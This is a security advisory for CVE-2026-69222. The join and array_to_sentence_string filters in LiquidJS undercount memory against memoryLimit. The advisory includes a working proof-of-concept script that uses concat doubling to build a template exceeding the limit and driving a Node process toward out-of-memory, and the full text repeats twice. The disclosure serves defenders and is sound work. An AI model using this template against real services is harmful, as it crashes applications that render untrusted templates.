CVE-2026-69222

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.

Summary

The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.

Details

// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
  const array = toArray(v)
  const sep = isNil(arg) ? ' ' : stringify(arg)
  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes
  this.context.memoryLimit.use(complexity)
  return array.join(sep)                                // allocates sum(element lengths) + separators
})

concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.

Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.

PoC

Live-reproduced against [email protected], Node v24.3.0.

const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len);  // output length: 40960000

Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.

Impact

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.

Summary

The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.

Details

// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
  const array = toArray(v)
  const sep = isNil(arg) ? ' ' : stringify(arg)
  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes
  this.context.memoryLimit.use(complexity)
  return array.join(sep)                                // allocates sum(element lengths) + separators
})

concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.

Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.

PoC

Live-reproduced against [email protected], Node v24.3.0.

const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len);  // output length: 40960000

Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.

Impact

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)